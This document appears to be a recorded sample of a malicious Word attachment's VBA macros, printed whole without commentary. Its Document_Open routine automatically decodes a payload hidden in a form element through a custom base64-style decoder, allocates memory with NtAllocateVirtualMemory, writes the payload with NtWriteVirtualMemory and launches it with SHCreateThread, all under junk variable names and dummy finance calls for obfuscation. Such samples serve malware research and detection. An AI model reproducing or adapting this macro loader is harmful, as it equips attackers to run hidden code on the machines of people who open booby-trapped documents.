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- Attachment: .DOC with VBA:
- ////////////////////////
- ThisDocument.cls
- /////////////////////////
- Sub dup()
- Dim Range1 As Range, Range2 As Range
- Set Range1 = Selection.Range.Duplicate
- Set Range2 = ActiveDocument.Bookmarks(1).Range
- Range2.Paragraphs(1).Range = Range2
- End Sub
- Sub investments()
- Dim lackadaisical As String
- Dim biotic As Long
- transportation = ThisDocument.ComputeStatistics(wdStatisticPages)
- rickettsiales.cranks.Value = transportation + 9
- chancroid = "bitthead"
- darkie = "who"
- crocodile = "headed"
- Set fanlight = rickettsiales.cranks.SelectedItem
- deprivement = 18
- acridotheres = 23648
- idea = 481150
- eastertide = SLN(idea, acridotheres, deprivement)
- gecko = fanlight.Name
- selma = 7460
- atoms = Right(gecko, selma)
- banewort = arbitral.heartlessness(atoms)
- muskwood = 26
- pepper = 24330
- aphakic = 212625
- pessimistically = SLN(aphakic, pepper, muskwood)
- autotelism = "inorganized"
- #If Win64 Then
- Dim burrock As String
- Dim powerhouse As LongPtr
- Dim buccal As LongPtr
- Dim embedded As String
- #Else
- Dim rigueur As Long
- Dim buccal As Long
- Dim barrelhouse As Long
- Dim powerhouse As Long
- #End If
- vapid = 0
- carefully = "fairy"
- mensural = 21 - 102 + 4177
- meditative = 111
- cypress = 9711
- eira = 265191
- cypress = Pmt(0.0838, meditative, -24882, eira, 1)
- vicious = "cranny"
- progressivism = "cyamopsis"
- chipboard = 24
- gaminess = 32872
- beggarweed = 430353
- fertile = SLN(beggarweed, gaminess, chipboard)
- examen = banewort
- undutiful = "pinball"
- aethusa = "georges"
- powerhouse = mizzle(examen)
- doublebedded = "fecundate"
- #If Win64 Then
- Dim thermoscope As Integer
- Dim barkantine As LongPtr
- hopsacking = "southsoutheast"
- cynipidae = "derail"
- inclinometer = "ironhearted"
- Dim be As LongPtr
- affecting = 1 - 78 + 1357
- #ElseIf Win32 Then
- twixt = "anthonys"
- blancbec = "longwinded"
- caeciliidae = "flagelliform"
- Dim barkantine As Long
- haploid = 86 + 55 + 373
- Dim be As Long
- affecting = haploid + 3204
- #End If
- Dim freudian As String
- Dim maneater As Long
- barkantine = 0
- buccal = powerhouse + affecting
- be = 1
- adjectives = caliph(buccal, barkantine, be, barkantine)
- fires = 45
- reprehension = 3809
- countless = 170556
- reprehension = Pmt(0.0704, fires, -5731, countless, 1)
- End Sub
- Private Sub Document_Open()
- Dim unemployed As Integer
- Dim doxorubicin As Byte
- fleshiness = "unbidden"
- pronouns = "le" & "adin" & "g"
- investments
- vivification = 13
- awkwardly = 35578
- canescent = 263254
- manners = SLN(canescent, awkwardly, vivification)
- End Sub
- Function goldthread(ene, goodfellow, tropaeolum)
- #If Win64 Then
- Dim adorable As Variant
- Dim anthropologist As String
- Dim processional As LongPtr
- Dim recessive As LongPtr
- Dim dolomite As LongPtr
- Dim melissa As Byte
- Dim adrenaline As LongPtr
- Dim toxotes As LongPtr
- #Else
- Dim recessive As Long
- Dim oystercatcher As Byte
- Dim processional As Long
- Dim forelock As Integer
- Dim adrenaline As Long
- Dim circumcise As String
- Dim dolomite As Long
- Dim tent As Long
- Dim toxotes As Long
- Dim forger As Long
- Dim designer As Variant
- #End If
- illdisposed = Rnd(333.4305 + 85.395)
- illdisposed = impala And 300
- recessive = ene
- toxotes = tropaeolum
- illdisposed = Rnd(429.7022 + 99.6392)
- adrenaline = goodfellow
- choosing = 29
- cantonment = 27550
- biol = 137902
- scathful = SLN(biol, cantonment, choosing)
- molidae = prickle
- processional = 5 - 6
- psittacosis ByVal processional, recessive, adrenaline, toxotes, dolomite
- impala = Rnd(384.3084 + 86.6341)
- End Function
- Function mizzle(bench)
- Dim goldenseal As String
- Dim birdwitted As String
- Dim flay As String
- Dim ce As Variant
- #If Win64 Then
- Dim neuroglia As String
- Dim reverseless As LongPtr
- csorcery = 8
- Dim foxglove As Long
- Dim cacogenesis As LongPtr
- Dim guano As Integer
- Dim armageddon As LongPtr
- Dim adorable As Byte
- #Else
- Dim concoction As String
- Dim reverseless As Long
- csorcery = 4
- Dim cacogenesis As Long
- Dim tatterdemalion As Byte
- Dim armageddon As Long
- Dim inactive As Byte
- Dim hypocrite As Byte
- #End If
- caviar = goldthread(VarPtr(reverseless), VarPtr(bench) + 8, csorcery)
- magnetize = 97 - 98
- cacogenesis = 0
- garganey = 0
- armageddon = 9671
- funicular = 4096
- fray = 93 - 29
- authority = hallucinogenic(ByVal magnetize, cacogenesis, ByVal garganey, armageddon, ByVal funicular, ByVal fray)
- prickle = "pulley"
- molidae = prickle
- goldthread cacogenesis, reverseless, 37 + 5557
- Align = 25
- earthgoddess = 27500
- charitable = 450601
- aggregation = SLN(charitable, earthgoddess, Align)
- mizzle = cacogenesis
- End Function
- ////////////////////
- arbitral.bas
- /////////////////////
- #If Win64 Then
- Public Declare PtrSafe Function hastiness Lib "Kernel32.dll" Alias "ReadConsoleW" (ByVal bestride As LongPtr,howbeit As LongPtr,jauntily As LongPtr,aristocratic As LongPtr,detachable As LongPtr) As Boolean
- Public Declare PtrSafe Function westernization Lib "Shell32.dll" Alias "SHChangeNotification_Lock" (basking As LongPtr, biconvex As Any,epoxy As LongPtr, mesembryanthemum As Any) As Boolean
- Public Declare PtrSafe Function hallucinogenic Lib "ntdll.dll" Alias "NtAllocateVirtualMemory" (americanization As LongPtr, cantibus As LongPtr, ByVal campyloneurum As LongPtr,exasperatingByVal As LongPtr, cognominal As LongPtr, ByVal brahimism As LongPtr) As LongPtr
- Public Declare PtrSafe Function caliph Lib "Shlwapi.dll" Alias "SHCreateThread" (ByVal earlyish As LongPtr, ByVal ruinousness As Any, ByVal barbarism As LongPtr, ByVal bijouterie As LongPtr) As LongPtr
- Public Declare PtrSafe Function toothy Lib "Shell32.dll" Alias "SHGetSettings" (brutalization As LongPtr,oestridae As LongPtr) As LongPtr
- Public Declare PtrSafe Function endoparasitic Lib "Shell32.dll" Alias "SHGetDesktopFolder" (adulatory As LongPtr)
- Public Declare PtrSafe Function psittacosis Lib "Ntdll.dll" Alias "NtWriteVirtualMemory" (ByVal concealment As Any, ByVal compressed As Any, ByVal enchiridion As Any, ByVal tremendous As Any, ByVal manakin As Any) As LongPtr
- Public Declare PtrSafe Function sponginess Lib "Kernel32.dll" Alias "LocalFree" (holocentrus As LongPtr) As LongPtr
- #Else
- Public Declare Function antiaircraft Lib "Shell32.dll" Alias "SHGetDesktopFolder" (feather As Long)
- Public Declare Function breathing Lib "Shell32.dll" Alias "SHChangeNotification_Lock" (arbitrariness As Long, diltiazem As Any, morrow As Long, mercuric As Any) As Boolean
- Public Declare Function psittacosis Lib "Ntdll.dll" Alias "NtWriteVirtualMemory" (ByVal foolhardness As Any, ByVal stealthy As Any, ByVal gamy As Any, ByVal abatis As Any, ByVal tangibility As Any) As Long
- Public Declare Function hallucinogenic Lib "Ntdll.dll" Alias "NtAllocateVirtualMemory" (tempest As Long, acardia As Long, ByVal stolen As Long, attilaByVal As Long, tempus As Long, ByVal expectancy As Long) As Long
- Public Declare Function periplus Lib "Kernel32.dll" Alias "ReadConsoleW" (ByVal droll As Long, capped As Long, glycolysis As Long, epicedium As Long, murderer As Long) As Boolean
- Public Declare Function shrilling Lib "Shell32.dll" Alias "SHGetSettings" (brachycephalic As Long, psettichthys As Long) As Long
- Public Declare Function caliph Lib "Shlwapi.dll" Alias "SHCreateThread" (ByVal normalness As Long, ByVal daddy As Any, ByVal exploited As Any, ByVal labryrinthian As Any) As Long
- Public Declare Function spiroid Lib "Kernel32.dll" Alias "LocalFree" (olfactories As Long) As Long
- #End If
- Function heartlessness(blackened) As String
- Dim orbignya(6965) As Byte
- Dim betrothment As Long
- faenum = faenum
- Dim battleground(63) As Long
- Dim mutational() As Byte
- Dim oppugnancy As Long
- Dim seersucker As Long
- Dim wiedersehen As Long
- illdisposed = Rnd(200.2407 + 359.8327)
- Dim affrication(63) As Long
- Dim dearborn As String
- Dim archivist As Integer
- Dim circularization(63) As Long
- Dim ciderpress As Integer
- Dim juste As Long
- Dim tribunal As String
- prickle = molidae
- sententiae = 262144
- cheremis = 87 + 169
- borrowing = 64
- bigwig = 65536
- again = 79 - 17 + 16711618
- faire = 83 + 257965
- Dim baud As String
- baddeleyite = 4032
- cambric = 63
- saururaceae = 107 - 9 + 157
- coccoidea = 4096
- Dim peculation As Variant
- municipal = 65280
- Dim barbaresque As Integer
- cryptograph = 103 + 16514969
- Dim mulct As Byte
- muskrat = 66 - 66
- morceau = 7459
- Dim microorganism() As Byte
- microorganism = VBA.StrConv(blackened, vbFromUnicode)
- Dim paean As Integer
- nonaddictive = 35
- bare = 21435
- decorously = 179895
- euthanasia = SLN(decorously, bare, nonaddictive)
- ambystoma = 7459
- bodybuilding = 101 - 114 + 6 + 42
- bigfoot = Log(100) / Log(10) + 14
- For certainly = 0 To ambystoma
- If certainly Mod 2 = 0 Then
- microorganism(certainly) = microorganism(certainly) + bigfoot
- Else
- microorganism(certainly) = microorganism(certainly) + bigfoot - 1
- End If
- Next certainly
- furfur = 11
- rahu = 19763
- carroty = 415949
- rahu = Pmt(0.0613, furfur, -39794, carroty, 1)
- ciderpress = 0
- epiphytotic = 0
- wasp = 43
- muggee = cosm
- For wiedersehen = 0 To 63
- battleground(wiedersehen) = perdrix(wiedersehen, borrowing, 3)
- circularization(wiedersehen) = perdrix(wiedersehen, coccoidea, 3)
- affrication(wiedersehen) = perdrix(wiedersehen, sententiae, 3)
- Next wiedersehen
- civile = 14
- acne = 27662
- callithrix = 365900
- hobbyist = SLN(callithrix, acne, civile)
- mutational = microorganism
- bonne = 4
- alexander = 41
- dactylopiidae = 35017
- sleepily = 420618
- jakes = SLN(sleepily, dactylopiidae, alexander)
- adelges = 73 - 70
- illdisposed = Rnd(101.4165 + 261.2198)
- impala = VBA.Math.Round(441.5128 + 159.7512)
- acquisitiveness = adelges + 1
- dishwashing = 2
- For seersucker = 0 To ambystoma
- baccate = mutational(seersucker)
- pleurodynia = mutational(seersucker + 2)
- oppugnancy = affrication(muggee(baccate)) _
- + circularization(muggee(mutational(seersucker + 1))) + battleground(muggee(pleurodynia)) + muggee(mutational(seersucker + adelges))
- wiedersehen = perdrix(oppugnancy, again, 2)
- orbignya(betrothment) = perdrix(wiedersehen, bigwig, 1)
- wiedersehen = perdrix(oppugnancy, municipal, 2)
- orbignya(betrothment + 1) = perdrix(wiedersehen, cheremis, 1)
- orbignya(betrothment + dishwashing) = perdrix(oppugnancy, saururaceae, 2)
- betrothment = betrothment + dishwashing + 1
- seersucker = seersucker + 3
- Next
- heartlessness = orbignya
- End Function
- Sub tableSel()
- Dim tempTable
- Documents("Log.doc").Tables(1).Select
- Set tempTable = Selection.Tables(1).Range
- tempRange.Tables(2).Select
- End Sub
- Function spatterdash(archiepiscopal)
- spatterdash = AscW(archiepiscopal)
- End Function
- Function cosm()
- Dim unconvincing(255) As Byte
- roisterer = 65
- Do
- unconvincing(roisterer) = roisterer - 65
- roisterer = roisterer + 1
- Loop Until roisterer = 91
- roisterer = 48
- Do
- unconvincing(roisterer) = roisterer + 4
- roisterer = roisterer + 1
- Loop Until roisterer = 58
- roisterer = 97
- Do
- unconvincing(roisterer) = roisterer - 71
- roisterer = roisterer + 1
- Loop Until roisterer = 123
- unconvincing(47) = 63
- roisterer = 43
- unconvincing(roisterer) = 62
- cosm = unconvincing
- End Function
- Function perdrix(maniple, palm, abience)
- Select Case abience
- Case 1
- perdrix = maniple \ palm
- Case 2
- perdrix = maniple And palm
- Case 3
- perdrix = maniple * palm
- End Select
- End Function
- #Recorded by MMD
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